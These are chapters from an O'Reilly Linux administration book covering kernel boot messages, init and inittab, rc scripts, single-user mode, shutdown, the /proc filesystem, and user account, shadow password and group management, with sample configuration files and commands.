These messages are all printed by the kernel itself, as each device driver is initialized. The exact messages printed depend on what drivers are compiled into your kernel and what hardware you have on your system. Here's a quick rundown on what they mean.

First, the kernel reports which console font it has picked and which console type it has detected; note that this involves only the text mode being used by the kernel, not the capabilities of your video card. (An SVGA video card is reported as VGA+ as far as the console text mode is concerned.)

Next, the kernel gathers information about the PCI bus and checks for any PCI cards present in the system.

The next message printed is the "BogoMips" calculation for your processor. This is an utterly bogus (hence the name) measurement of processor speed, which is used to obtain optimal performance in delay loops for several device drivers. The kernel also prints information on the system memory:

Memory: 14984k/16384k available (552k kernel code, 384k reserved, 464k data)
Here, we see that 14984k of RAM are available for the system to use. This means the kernel itself is using 1400k.

The networking code in the kernel is then initialized and the CPU type checked. You can see from the line:

Intel Pentium with F0 0F bug - workaround enabled.

that the Linux kernel is even clever enough to detect the infamous Pentium bug and provide a workaround. The line:

Linux version 2.0.35 (root@rabbit) (gcc version egcs-2.90.29 980515\
(egcs-1.0.3 release)) #3 Fri Nov 13 15:07:45 CET 1998

tells you the version number of the kernel and who has compiled it on which machine (in this case, it was root on the machine rabbit and which compiler was used). The serial device driver is then initialized, which prints information on each detected serial port. A line such as:

tty00 at 0x03f8 (irq = 4) is a 16550A
means that the first serial device (/dev/tty00, or COM1) was detected at address 0x03f8, IRQ 4, using 16550A UART functions. Next comes configuration and checking for a SCSI host adapter. The kernel prints out information about all SCSI devices found. The line:

Adding Swap: 130748k swap-space (priority -1)

tells you how much swap space the kernel has found. Among the further tasks performed during a typical boot are finding and configuring a parallel port (lp1), detecting and configuring the network card, and finally setting up the ISDN subsystem. The last thing it reports is the detection of the floppy disk driver. Depending on your hardware, other messages will be printed in addition to those given in the example. For example, parallel port and SCSI drivers will be initialized at this point, if you have them.

5.3.2. init, inittab, and rc files

Once the device drivers are initialized, the kernel executes the program init, which is found in /etc, /bin, or /sbin (it's /sbin/init on most systems). init is a general-purpose program that spawns new processes and restarts certain programs when they exit. For example, each virtual console has a getty process running on it, started by init. When you exit from a login session on one of the virtual consoles, the getty process exits, and init starts a new one, allowing you to log in again.

init is also responsible for running a number of programs and scripts when the system boots. Everything init does is controlled by the file /etc/inittab. Each line in this file is of the format:

code:runlevels:action:command
code is a unique one- or two-character sequence used to identify this entry in the file. Several of the entries must have a particular code to work correctly; more on this later.

runlevels is the list of "runlevels" in which this entry should be executed. A runlevel is a number or letter that specifies the current system state, as far as init is concerned. For example, when the system runlevel is changed to 3, all entries in /etc/inittab containing 3 in the runlevels field will be executed. Runlevels are a useful way to group entries in /etc/inittab together. For example, you might want to say that runlevel 1 executes only the bare minimum of configuration scripts, runlevel 2 executes everything in runlevel 1 plus networking configuration, runlevel 3 executes everything in levels 1 and 2 plus dial-in login access, and so on. Today, the Red Hat distribution is set up so that runlevel 5 automatically starts the X Window System graphical interface. The SuSE distribution does it at runlevel 3, and the Debian distribution does so at runlevel 2--provided you have installed X.

For the most part, you don't need to concern yourself with runlevels. When the system boots, it enters the default runlevel (set in /etc/inittab, as we will soon show). On most systems, this default is runlevel 2 or 3. After we discuss normal booting, we'll show you how to enter another runlevel that you will sometimes need to use--runlevel 1, or single-user mode.

Let's take a look at a sample /etc/inittab file:

# Set the default runlevel to three
id:3:initdefault:

# Execute /etc/rc.d/rc.sysinit when the system boots
si:S:sysinit:/etc/rc.d/rc.sysinit

# Run /etc/rc.d/rc with the runlevel as an argument
l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6

# Executed when we press ctrl-alt-delete
ca::ctrlaltdel:/sbin/shutdown -t3 -rf now

# Start agetty for virtual consoles 1 through 6
c1:12345:respawn:/sbin/agetty 38400 tty1
c2:12345:respawn:/sbin/agetty 38400 tty2
c3:45:respawn:/sbin/agetty 38400 tty3
c4:45:respawn:/sbin/agetty 38400 tty4
c5:45:respawn:/sbin/agetty 38400 tty5
c6:45:respawn:/sbin/agetty 38400 tty6

Fields are separated by colons. The last field is the most recognizable: it is the command that init executes for this entry. The first field is an arbitrary identifier (it doesn't matter what it is so long as it's unique in the file) while the second indicates what runlevels cause the command to be invoked. The third field tells init how to handle this entry; for example, whether to execute the given command once or to respawn the command whenever it exits.

The exact contents of /etc/inittab depend on your system and the distribution of Linux you have installed.

In our sample file, we see first that the default runlevel is set to 3. The action field for this entry is initdefault, which causes the given runlevel to be set to the default. That's the runlevel normally used whenever the system boots. You can override the default with any level you want by running init manually (which you might do when debugging your configuration) and passing in the desired runlevel as an argument. For instance, the following command shuts down all current processes and starts runlevel 5 (warn all your users to log off before doing this!):

tigger# init 5
LILO can also boot in single-user mode (usually runlevel 1)--see the section "Section 5.2.2.3, "Specifying boot time options"" earlier in this chapter.

The next entry tells init to execute the script /etc/rc.d/rc.sysinit when the system boots. (The action field is sysinit, which specifies that this entry should be executed when init is first started at system boot.) This file is simply a shell script containing commands to handle basic system initialization; for example, swapping is enabled, filesystems are checked and mounted, and the system clock is synchronized with the CMOS clock. You can take a look at this file on your system; we'll be talking more about the commands contained therein in Chapter 6, "Managing Filesystems, Swap, and Devices"; see the sections "Section 6.1, "Managing Filesystems"" and "Section 6.2, "Managing Swap Space"." On other distributions, this file might be elsewhere, for example, on SuSE it is /sbin/init.d/boot.

Next, we see that the system executes the script /etc/rc.d/rc when it enters any of the runlevels 0 through 6, with the appropriate runlevel as an argument. rc is a generic startup script that executes other scripts as appropriate for that runlevel. The action field here is wait, which tells init to execute the given command, and to wait for it to complete execution before doing anything else.

5.3.3. rc files

Linux stores startup commands in files with rc in the name, using an old Unix convention. The commands do all the things necessary to have a fully functioning system, like starting the servers or daemons mentioned in Chapter 4, "Basic Unix Commands and Concepts". Thanks to these commands, the system comes up ready with logging facilities, mail, a web server, or whatever you installed and asked it to run. As explained in the previous section, the files are invoked from /etc/inittab. The commands are standard shell commands, and you can simply read the various rc files to see what they do.

In this section, we describe the structure of the rc files, so you understand where everything starts and can start or stop servers manually in the rare case that they don't do what you want them to do. We'll use Red Hat as our model, but once you get the idea of what to look for, you can find the corresponding files on any Linux distribution.

On Red Hat, the top-level rc script is /etc/rc.d/rc. The path is slightly different in other distributions (/etc/init.d/rc on Debian, for instance) but the contents are similar. In the previous section, you could see how the /etc/inittab invokes the script under a variety of circumstances with different numbers from 0 to 6 as arguments. The numbers correspond to runlevels, and each one causes the rc files to invoke a different set of scripts. So our next step is to find the scripts corresponding to each runlevel.

On Red Hat, scripts for each runlevel are stored in the directory /etc/rc.d/rcN.d where N is the runlevel being started. Thus, for runlevel 3, scripts in /etc/rc.d/rc3.d would be used. Again, slightly different conventions are the rule in other distributions. On Debian, for instance, the directory for each runlevel is /etc/rcN.d/.

Take a look in one of those directories; you will see a number of filenames of the form Snnxxxx or Knnxxxx where nn is a number from 00 to 99, and xxxx is the name of some system service. The scripts whose names begin with K are executed by /etc/rc.d/rc first to kill any existing services, then the scripts whose names begin with S are executed to start new services.

The numbers nn in the names are used to enforce an ordering on the scripts as they are executed: scripts with lower numbers are executed before those with higher numbers. The name xxxx is simply used to help you identify which system service the script corresponds to. This naming convention might seem odd, but it makes it easy to add or remove scripts from these directories and have them automatically executed at the appropriate time by /etc/rc.d/rc. For customizing startup scripts, you'll find it convenient to use a graphical runlevel editor, such as ksysv, in the KDE (see "Section 11.3, "The K Desktop Environment"" in Chapter 11, "Customizing Your X Environment").

For example, the script to initialize networking might be called S10network, while the script to stop the system logging daemon might be called K70syslog. If these files are placed in the appropriate /etc/rc.d/rcN.d directories, /etc/rc.d/rc will run them, in numerical order, at system startup or shutdown time. If the default runlevel of your system is 3, look in /etc/rc.d/rc3.d to see which scripts are executed when the system boots normally.

Because the same services are started or stopped at different runlevels, the Red Hat distribution uses symbolic links instead of repeating the same script in multiple places. Thus, each S or K file is a symbolic link that points to a central directory that stores startup or shutdown scripts for all services. On Red Hat, this central directory is /etc/rc.d/init.d, while on SuSE and Debian, it is /etc/init.d. On Debian, the directory contains a script called skeleton that you can adapt to start and stop any new daemons you might write.

Knowing the location of a startup or shutdown script is useful in case you don't want to completely reboot or enter a different runlevel, but need to start or stop a particular service. Look in the init.d directory for a script of the appropriate name and execute it, passing the parameter start or stop. For example, on SuSE, if you want the Apache web server to be running but your system is in a runlevel that does not include Apache, just enter the following:

tigger# /sbin/init.d/apache start

Another important system configuration script is /etc/rc.d/rc.local, which is executed after the other system-initialization scripts are run. (How is this accomplished? Generally, a symbolic link to rc.local is made in each /etc/rc.d/rcN.d directory with the name S99local. Since 99 is the largest numerical order any of the S scripts can have, it is executed last. Voila!) You can edit rc.local to accomplish any peculiar or otherwise out-of-place system commands at boot time, or if you're not sure where else they should be executed. Debian doesn't have an equivalent of rc.local script, but nothing stops you from adding it and invoking it from rc if you're used to having it.

The next entry, labeled ca, is executed when the key combination Ctrl-Alt-Del is pressed on the console. This key combination produces an interrupt that usually reboots the system. Under Linux, this interrupt is caught and sent to init, which executes the entry with the action field of ctrlaltdel. The command shown here, /sbin/shutdown -t3 -rf now, will do a "safe" reboot of the system. (See the section "Section 5.5, "Shutting Down the System"" later in this chapter.) This way we protect the system from sudden reboot when Ctrl-Alt-Del is pressed.

Finally, the inittab file includes entries that execute /sbin/agetty for the first six virtual consoles. agetty is one of the several getty variants available for Linux. These programs permit logins on terminals; without them the terminal would be effectively dead and would not respond when a user walked up and pressed a key or mouse button. The various getty commands open a terminal device (such as a virtual console, or a serial line), set various parameters for the terminal driver, and execute /bin/login to initiate a login session on that terminal. Therefore, to allow logins on a given virtual console, you must be running getty or agetty on it. agetty is the version used on a number of Linux systems, but others use getty, which has a slightly different syntax. See the manual pages for getty and agetty on your system.

agetty takes two arguments: a baud rate and a device name. The port names for Linux virtual consoles are /dev/tty1, /dev/tty2, and so forth. agetty assumes the given device name is relative to /dev. The baud rate for virtual consoles should generally be 38400.

Note that the action field for each agetty entry is respawn. This means that init should restart the command given in the entry when the agetty process dies, which is every time a user logs out.

Now you should be familiar with init, but the various files and commands in /etc/rc.d, which do all of the work, remain a mystery. We can't delve into these files without more background on other system administration tasks, such as managing filesystems. We'll lead you through these tasks in the next few chapters, and eventually all should be clear.

Previous | Home | Next
5.2. Booting the System | Book Index | 5.4. Single-User Mode
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Single-User Mode (Running Linux)

 Running LinuxSearch this book
Previous Next

5.4. Single-User Mode

Most of the time, you operate the system in multiuser mode so that users can log in. But there is a special state called single-user mode, where Unix is running but there is no login prompt. When you're in single-user mode, you're basically super user (root). You may have to enter this mode during installation if something goes wrong. Single-user mode is important for certain routine system administration tasks, like checking corrupted filesystems. (This is not fun; try not to corrupt your filesystem. For instance, always shut down the system through a shutdown command before you turn off the power. This is described in the section "Section 5.5, "Shutting Down the System"" later in this chapter.)

Under single-user mode, the system is nearly useless; very little configuration is done, filesystems are unmounted, and so on. This is necessary for recovering from certain kinds of system problems; see the section "Section 8.6, "What to Do in an Emergency"" in Chapter 8, "Other Administrative Tasks" for details.

Note that Unix is still a multiprocessing system, even in single-user mode. You can run multiple programs at once. Servers can run in the background, so that special functions, such as the network, can operate. But if your system supports more than one terminal, only the console can be used. And the X Window System cannot run.

Previous | Home | Next
5.3. System Startup and Initialization | Book Index | 5.5. Shutting Down the System
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Shutting Down the System (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

5.5. Shutting Down the System

Fortunately, shutting down the Linux system is much simpler than booting and startup. However, it's not just a matter of hitting the reset switch. Linux, like all Unix systems, buffers disk reads and writes in memory. This means disk writes are delayed until absolutely necessary, and multiple reads on the same disk block are served directly from RAM. This greatly increases performance as disks are extremely slow relative to the CPU.

The problem is that if the system were to be suddenly powered down or rebooted, the buffers in memory would not be written to disk, and data could be lost or corrupted. /sbin/update is a program started from /etc/rc.d/rc.sysinit on most systems; it flushes dirty buffers (ones that have been changed since they were read from the disk) back to disk every five seconds to prevent serious damage from occurring should the system crash. However, to be completely safe, the system needs to undergo a "safe" shutdown before rebooting. This will not only ensure that disk buffers are properly synchronized, but also allow all running processes to exit cleanly.

shutdown is the general, all-purpose command used to halt or reboot the system. As root, you can issue the command:

/sbin/shutdown -r +10
to cause the system to reboot in ten minutes. The -r switch indicates the system should be rebooted after shutdown, and +10 is the amount of time to wait (in minutes) until shutting down. The system will print a warning message to all active terminals, counting down until the shutdown time. You can add your own warning message by including it on the command line, as in:
/sbin/shutdown -r +10 "Rebooting to try new kernel"

You can also specify an absolute time to shutdown, as in:

/sbin/shutdown -r 13:00
to reboot at 1:00 pm. Likewise, you can say:
/sbin/shutdown -r now
to reboot immediately (after the safe shutdown process).

Using the -h switch, instead of -r, will cause the system to simply be halted after shutdown; you can then turn off the system power without fear of losing data. If you specify neither -h nor -r, the system will go into single-user mode.

As we saw in the section "Section 5.3.2, "init, inittab, and rc files"," you can have init catch the Ctrl-Alt-Del key sequence and execute a shutdown command in response to it. If you're used to rebooting your system in this way it might be good idea to check that your /etc/inittab contains a ctrlaltdel entry. Note that you should never reboot your Linux system by pressing the system power switch or the reboot switch on the front panel of your machine. Unless the system is flat-out hung (a rare occurrence), you should always use shutdown. The great thing about a multiprocessing system is that one program may hang, but you can almost always switch to another window or virtual console to recover.

shutdown provides a number of other options. The -c switch will cancel a currently running shutdown. (Of course, you can kill the process by hand using kill, but shutdown -c might be easier.) The -k switch will print the warning messages but not actually shut down the system. See the manual page for shutdown if you're interested in the gory details.

Previous | Home | Next
5.4. Single-User Mode | Book Index | 5.6. The /proc filesystem
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The /proc filesystem (Running Linux)

 Running LinuxSearch this book
Previous Next

5.6. The /proc filesystem

Unix systems have come a long way with respect to providing uniform interfaces to different parts of the system; as you will learn in the next chapter, hardware is represented in Linux in the form of a special type of file. There is, however, a special filesystem called the /proc filesystem that goes even one step further: it unifies files and processes.

From the user's or the system administrator's point of view, the /proc filesystem looks just like any other filesystem; you can navigate around it with the cd command, list directory contents with the ls command and view file contents with the cat command. However, none of these files and directories occupy any space on your hard disk. The kernel traps accesses to the /proc filesystem and generates directory and file contents on the fly. In other words, whenever you list or directory or view file contents in the /proc filesystem, the kernel dynamically generates the contents you want to see.

To make this less abstract, let's see some examples. The following example displays the list of files in the top-level directory of the /proc filesystem:

tigger # ls /proc
1          184        25472      8          8525         kmsg
130        185        25475      82         8526         ksyms
134        186        25497      8484       8593         loadavg
136        187        25498      8485       963          locks
139        2          25499      8488       965          meminfo
143        24924      25500      8489       9654         modules
144        25441      25515      8492       968          mounts
145        25442      25549      8496       97           net
146        25445      25550      8507       99           pci
147        25446      26019      8508       cmdline      scsi
148        25449      26662      8510       cpuinfo      self
151        25451      26663      8511       devices      stat
163        25462      270        8512       dma          sys
168        25463      3          8520       filesystems  uptime
172        25464      4484       8522       interrupts   version
180        25465      4639       8523       ioports
182        25466      55         8524       kcore

The numbers will be different on your system, but the general organization will be the same. All those numbers are directories that represent one of the processes running on your system each. For example, let's look at the information about the process with the ID 172:

tigger # ls /proc/172
cmdline  environ  fd       mem      stat     status
cwd      exe      maps     root     statm

You see a number of files that each contain information about this process. For example, the cmdline file shows the command line with which this process was started. status gives information about the internal state of the process and cwd links to the current working directory of this process.

Probably you'll find the hardware information even more interesting than the process information. All the information that the kernel has gathered about your hardware is collected in the /proc filesystem, even though it can be difficult to find the information you are looking for.

Let's start by checking your machine's memory. This is represented by the file /proc/meminfo:

tigger # cat /proc/meminfo
        total:    used:    free:  shared: buffers:  cached:
Mem:  130957312 128684032  2273280 37888000  3198976 20615168
Swap: 133885952 64434176 69451776
MemTotal:    127888 kB
MemFree:       2220 kB
MemShared:    37000 kB
Buffers:       3124 kB
Cached:       20132 kB
SwapTotal:   130748 kB
SwapFree:     67824 kB

If you then try the command free, you can see that that is exactly the same information, only the numbers are reformatted a bit. free does nothing more than read /proc/meminfo and rearrange the output a bit.

Most tools on your system that report information about your hardware do it this way. The /proc filesystem is a portable and easy way to get at this information. The information is especially useful if you want to add new hardware to your system. For example, most hardware boards need a few I/O addresses to communicate with the CPU and the operating system. If you configured two boards to use the same I/O addresses, disaster is about to happen. You can avoid this by checking which I/O addresses the kernel has already detected as being in use:

tigger # more /proc/ioports
0000-001f : dma1
0020-003f : pic1
0040-005f : timer
0060-006f : keyboard
0080-009f : dma page reg
00a0-00bf : pic2
00c0-00df : dma2
00f0-00ff : npu
01f0-01f7 : ide0
0220-022f : soundblaster
02e8-02ef : serial(auto)
0388-038b : OPL3/OPL2
03c0-03df : vga+
03f0-03f5 : floppy
03f6-03f6 : ide0
03f7-03f7 : floppy DIR
03f8-03ff : serial(auto)
0530-0533 : WSS config
0534-0537 : MSS audio codec
e000-e0be : aic7xxx
e400-e41f : eth0

Now you can look for IO addresses that are free. Of course, the kernel can show IO addresses only for boards that it has detected and recognized, but in a correctly configured system, this should be the case for all boards.

You can use the /proc filesystem for the other information that you might need for configuring new hardware as well: /proc/interrupts lists the occupied interrupt lines (IRQs) and /proc/dma lists the DMA (direct memory access) channels in use.

Previous | Home | Next
5.5. Shutting Down the System | Book Index | 5.7. Managing User Accounts
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Managing User Accounts (Running Linux)

 Running LinuxSearch this book
Previous Next

5.7. Managing User Accounts

Even if you're the only actual human being who uses your Linux system, understanding how to manage user accounts is important--even more so if your system hosts multiple users.

User accounts serve a number of purposes on Unix systems. Most prominently, they give the system a way to distinguish between different people who use the system for reasons of identification and security. Each user has a personal account with a separate username and password. As discussed in the section "Section 4.13, "File Ownership and Permissions"" in Chapter 4, "Basic Unix Commands and Concepts", users may set permissions on their files, allowing or restricting access to them by other users. Each file on the system is "owned" by a particular user, who may set the permissions for that file. User accounts are used to authenticate access to the system; only those people with accounts may access the machine. Also, accounts are used to identify users, keep system logs, tag electronic mail messages with the name of the sender, and so forth.

Apart from personal accounts, there are users on the system that provide administrative functions. As we've seen, the system administrator uses the root account to perform maintenance--but usually not for personal system use. Such accounts are accessed using the su command, allowing another account to be accessed after logging in through a personal account.

Other accounts on the system may not be set aside for human interaction at all. These accounts are generally used by system daemons, which must access files on the system through a specific user ID other than root or one of the personal user accounts. For example, if you configure your system to receive a newsfeed from another site, the news daemon must store news articles in a spool directory that anyone can access, but only one user (the news daemon) can write to. No human being is associated with the news account; it is an "imaginary" user set aside for the news daemon only.

One of the permissions bits that can be set on executables is the setuid bit, which causes the program to be executed with the permissions of the owner of that file. For example, if the news daemon were owned by the user news, and the setuid bit set on the executable, it would run as if by the user news. news would have write access to the news spool directory, and all other users would have read access to the articles stored there. This is a security feature. News programs can give users just the right amount of access to the news spool directory, but no one can just play around there.

As the system administrator, it is your job to create and manage accounts for all users (real and virtual) on your machine. This is actually a painless, hands-off task in most cases, but it's important to understand how it works.

5.7.1. The passwd File

Every account on the system has an entry in the file /etc/passwd. This file contains entries, one line per user, that specify several attributes for each account, such as the username, real name, and so forth.

Each entry in this file is of the format:

username:password:uid:gid:gecos:homedir:shell
The following list explains each of these fields:

username

A unique character string, identifying the account. For personal accounts, this is the name the user logs in with. On most systems it is limited to eight alphanumeric characters--for example, larry or kirsten.

password

An encrypted representation of the user's password. This field is set using the passwd program to set the account's password; it uses a one-way encryption scheme that is difficult (but not impossible) to break. You don't set this by hand; the passwd program does it for you. Note, however, that if the first character of the passwd field is * (an asterisk), the account is "disabled"; the system will not allow logins as this user. See the section "Section 5.7.5, "Creating Accounts"" later in this chapter.

uid

The user ID, a unique integer the system uses to identify the account. The system uses the uid field internally when dealing with process and file permissions; it's easier and more compact to deal with integers than byte strings. Therefore, both the uid and the username identify a particular account: the uid is more important to the system, while username is more convenient for humans.

gid

The group ID, an integer referring to the user's default group, found in the file /etc/group. See the section "Section 5.7.4, "The Group File"" that follows.

gecos

Miscellaneous information about the user, such as the user's real name, and optional "location information" such as the user's office address or phone number. Such programs as mail and finger use this information to identify users on the system; we'll talk more about it later. By the way, gecos is a historical name dating back to the 1970s; it stands for General Electric Comprehensive Operating System. GECOS has nothing to do with Unix, except that this field was originally added to /etc/passwd to provide compatibility with some of its services.

homedir

The user's home directory, for his personal use; more on this later. When the user first logs in, her shell finds its current working directory in the named homedir.

shell

The name of the program to run when the user logs in; in most cases, this is the full pathname of a shell, such as /bin/bash or /bin/tcsh.

Many of these fields are optional; the only required fields are username, uid, gid, and homedir. Most user accounts have all fields filled in, but "imaginary" or administrative accounts may use only a few.

Here are two sample entries you might find in /etc/passwd:

root:ZxPsI9ZjiVd9Y:0:0:The root of all evil:/root:/bin/bash
aclark:BjDf5hBysDsii:104:50:Anna Clark:/home/aclark:/bin/bash
 The first entry is for the root account. First of all, notice that the uid of root is zero. This is what makes root root: the system knows that uid 0 is "special" and that it does not have the usual security restrictions. The gid of root is also zip, which is mostly a convention. Many of the files on the system are owned by root and the root group, which have a uid and gid of zero, respectively. More on groups in a minute.

On many systems, root uses the home directory /root, or just /. This is not usually relevant, because you most often use su to access root from your own account. Also, it is tradition to use a Bourne-shell variant (in this case /bin/bash) for the root account, although you can use C shell if you like. (Shells are discussed in the section "Section 4.5, "Shells"" in Chapter 4, "Basic Unix Commands and Concepts".) Be careful, though: Bourne shells and C shells have differing syntax, and switching between them when using root can be confusing and lead to mistakes.

The second entry is for an actual human being, username aclark. In this case, the uid is 104. The uid field can technically be any unique integer; on many systems, it's customary to have user accounts numbered 100 and above and administrative accounts in the sub-100 range. The gid is 50, which just means that aclark is in whatever group is numbered 50 in the /etc/group file. Hang on to your horses; groups are covered in section "Section 5.7.4, "The Group File"" later in this chapter.

Home directories are often found in /home, and named for the username of their owner. This is, for the most part, a useful convention that avoids confusion when finding a particular user's home directory, but you can technically place a home directory anywhere. You should, however, observe the directory layout used on your system.

Note that as the system administrator, it's not usually necessary to modify the /etc/passwd file directly. There are several programs available that can help you create and maintain user accounts; see the section "Section 5.7.5, "Creating Accounts"" that follows.

5.7.2. Shadow Passwords

To some extent, it is a security risk to let everybody with access to the system view the encrypted passwords in /etc/passwd. Special crack programs are available that try a huge number of possible passwords and check whether the encrypted version of those passwords is equal to a specified one.

To overcome this potential security risk, shadow passwords have been invented. When shadow passwords are used, the password field in /etc/passwd contains only an x or a *, which can never occur in the encrypted version of a password. Instead, a second file called /etc/shadow is used. This file contains entries that look very similar to those in /etc/passwd, but contain the real encrypted password in the password field. /etc/shadow is readable only by root, so that normal users do not have access to the encrypted passwords. The other fields in /etc/shadow, except the username and the password are present as well, but normally contain bogus values or are empty.

Note that in order to use shadow passwords, you need special versions of the programs that access or modify user information like passwd or login. Nowadays, most distributions come with shadow passwords already set up so that this should not be a problem for you.

There are two tools for converting "normal" user entries to shadow entries and back. pwconv takes the /etc/passwd file, looks for entries that are not yet present in /etc/shadow, generates shadow entries for those and merges them with the entries already present in /etc/shadow.

Debian users should use "shadowconfig on" instead to ensure that shadow passwords are enabled on their systems.

pwunconv is rarely used, because it gives you less security instead of more. It works like pwconv, but generates traditional /etc/passwd entries that work without /etc/shadow counterparts.

5.7.3. PAM and Other Authentication Methods

You might think that having two means of user authentication, /etc/passwd and /etc/shadow, is already enough choice, but you are wrong in this case. There are a number of other authentification methods with strange names like Kerberos authentication (so named after the dog from Greek mythology that guards the entrance to Hell). While we think that shadow passwords provide enough security for almost all cases, it all depends on how much security you really need and how paranoid you want to be.

The problem with all those authentication methods is that you cannot simply switch from one to another, because you always need a set of programs like login and passwd that go with those tools. To overcome this problem, the Pluggable Authentification Methods (PAM) system has been invented. Once you have a PAM-enabled set of tools, you can change the authentification method of your system by reconfiguring PAM. The tools will automatically get the code necessary to perform the required authentication procedures from dynamically loaded shared libraries.

Setting up and using PAM is beyond the scope of this book, but you can get all the information you need from http://www.de.kernel.org/pub/linux/libs/pam/.

5.7.4. The Group File

User groups are a convenient way to logically organize sets of user accounts and allow users to share files within their group or groups. Each file on the system has both a user and a group owner associated with it. Using ls -l, you can see the owner and group for a particular file, as in:

rutabaga% ls -l boiler.tex
-rwxrw-r--   1 mdw      megabozo    10316 Oct  6 20:19 boiler.tex
rutabaga%
This file is owned by the user mdw and belongs to the megabozo group. We can see from the file permissions that mdw has read, write, and execute access to the file; that anyone in the megabozo group has read and write access; and that all other users have read access only.

This doesn't mean that mdw is in the megabozo group; it simply means the file may be accessed, as shown by the permissions bits, by anyone in the megabozo group (which may or may not include mdw).

This way files can be shared among groups of users, and permissions can be specified separately for the owner of the file, the group to which the file belongs, and everyone else. An introduction to permissions appears in the section "Section 4.13, "File Ownership and Permissions"" in Chapter 4, "Basic Unix Commands and Concepts".

Every user is assigned to at least one group, which you specify in the gid field of the /etc/passwd file. However, a user can be a member of multiple groups. The file /etc/group contains a one-line entry for each group on the system, very similar in nature to /etc/passwd. The format of this file is:

groupname:password:gid:members

Here, groupname is a character string identifying the group; it is the group name printed when using commands such as ls -l.

password is an optional password associated with the group, which allows users not in this group to access the group with the newgrp command. Read on for information on this.

gid is the group ID used by the system to refer to the group; it is the number used in the gid field of /etc/passwd to specify a user's default group.

members is a comma-separated list of usernames (with no whitespace in between), identifying those users who are members of this group, but who have a different gid in /etc/passwd. That is, this list need not contain those users who have this group set as their "default" group in /etc/passwd; it's only for users who are additional members of the group.

For example, /etc/group might contain the following entries:

root:*:0:
bin:*:1:root,daemon
users:*:50:
bozo:*:51:linus,mdw
megabozo:*:52:kibo
The first entries, for the groups root and bin, are administrative groups, similar in nature to the "imaginary" accounts used on the system. Many files are owned by groups such as root and bin. The other groups are for user accounts. Like user IDs, the group ID values for user groups are often placed in ranges above 50 or 100.

The password field of the group file is something of a curiosity. It isn't used much, but in conjunction with the newgrp program it allows users who aren't members of a particular group to assume that group ID if they have the password. For example, using the command:

rutabaga% newgrp bozo
Password: password for group bozo
rutabaga%
starts a new shell with the group ID of bozo. If the password field is blank, or the first character is an asterisk, you receive a permission denied error if you attempt to newgrp to that group.

However, the password field of the group file is seldom used and is really not necessary. (In fact, most systems don't provide tools to set the password for a group; you could use passwd to set the password for a dummy user with the same name as the group in /etc/passwd and copy the encrypted password field to /etc/group.) Instead, you can make a user a member of multiple groups simply by including the username in the members field for each additional group. In the previous example, the users linus and mdw are members of the bozo group, as well as whatever group they are assigned to in the /etc/passwd file. If we wanted to add linus to the megabozo group as well, we'd change the last line of the previous example to:

megabozo:*:52:kibo,linus

The command groups tells you which groups you belong to, as in:

rutabaga% groups
users bozo
Giving a list of usernames to groups lists the groups each user in the list belongs to.

When you log in, you are automatically assigned to the group ID given in /etc/passwd, as well as any additional groups for which you're listed in /etc/group. This means you have "group access" to any files on the system with a group ID contained in your list of groups. In this case, the group permission bits (set with chmod g+…) for those files apply to you. (Unless you're the owner, in which case the owner permission bits apply, instead.)

Now that you know the ins and outs of groups, how should you assign groups on your system? This is really a matter of style and depends on how your system will be used. For systems with just one or a handful of users, it's easiest to have a single group (called, say, users) to which all personal user accounts belong. Note that all the system groups--those groups contained within /etc/group when the system is first installed--should probably be left alone. Various daemons and programs may depend upon them.

If you have a number of users on your machine, there are several ways to organize groups. For example, an educational institution may have separate groups for students, faculty, and staff. A software company might have different groups for each design team. On other systems, each user is placed into a separate group, named identically to the username. This keeps each pigeon in its own hole, so to speak, and allows users to share files with a particular group. However, adding a user to an additional group usually requires the system administrator to intervene (by editing /etc/group ; Debian has the utility gpasswd ). It's really up to you.

Another situation where groups are often used is special hardware groups. Let's say that you have a scanner that is accessed via /dev/scanner. If you do not want to give everybody access to the scanner, you could create a special group called scanner, assign /dev/scanner to this group, make this special file readable for the group and nonreadable for everybody else, and add everybody who is allowed to use the scanner to the scanner group in the /etc/groups file.

5.7.5. Creating Accounts

Creating a user account requires several steps: adding an entry to /etc/passwd, creating the user's home directory, and setting up the user's default configuration files (such as .bashrc) in her home directory. Luckily, you don't have to perform these steps manually; nearly all Linux systems include a program called adduser to do this for you.[26]

[26]Note that some Linux systems, such as Red Hat or SuSE, use a different set of tools for account creation and deletion. If the sequence of inputs in this section does not work for you, check the documentation for your distribution. (Red Hat allows accounts to be managed through the control-panel tool, and SuSE does it via YaST; Debian includes a non-interactive "adduser" script that automatically sets up users based on the configuration file /etc/adduser.conf ). In addition, there are graphical user management programs like kuser from KDE (see Section 11.3, "The K Desktop Environment" in Chapter 11, "Customizing Your X Environment").

Running adduser as root should work as follows. Just enter the requested information at the prompts; many of the prompts have reasonable defaults you can select by pressing Enter:

Adding a new user. The username should not exceed 8 characters
in length, or you many run into problems later.

Enter login name for new account (^C to quit): norbert

Editing information for new user [norbert]

Full Name: Norbert Ebersol
GID [100]: 117

Checking for an available UID after 500
First unused uid is 501

UID [501]: (enter)
Home Directory [/home/norbert]: (enter)
Shell [/bin/bash]: (enter)
Password [norbert]: (norbert's password)

Information for new user [norbert]:
Home directory: [/home/norbert] Shell: [/bin/bash]
Password: [(norbert's password)] uid: [501] gid: [117]

Is this correct? [y/N]: y

Adding login [norbert] and making directory [/home/norbert]
Adding the files from the /etc/skel directory:
./.emacs -> /home/norbert/./.emacs
./.kermrc -> /home/norbert/./.kermrc
./.bashrc -> /home/norbert/./.bashrc
There should be no surprises here; just enter the information as requested or choose the defaults. Note that adduser uses 100 as the default group ID, and looks for the first unused user ID after 500 (500 is used as the minimum on SuSE and Red Hat, Debian uses 1000). It should be safe to go along with these defaults; in the previous example we used a group ID of 117 and the default user ID of 501.

After the account is created, the files from /etc/skel are copied to the user's home directory. /etc/skel contains the "skeleton" files for a new account; they are the default configuration files (such as .emacs and .bashrc) for the new user. Feel free to place other files here if your new user accounts should have them.

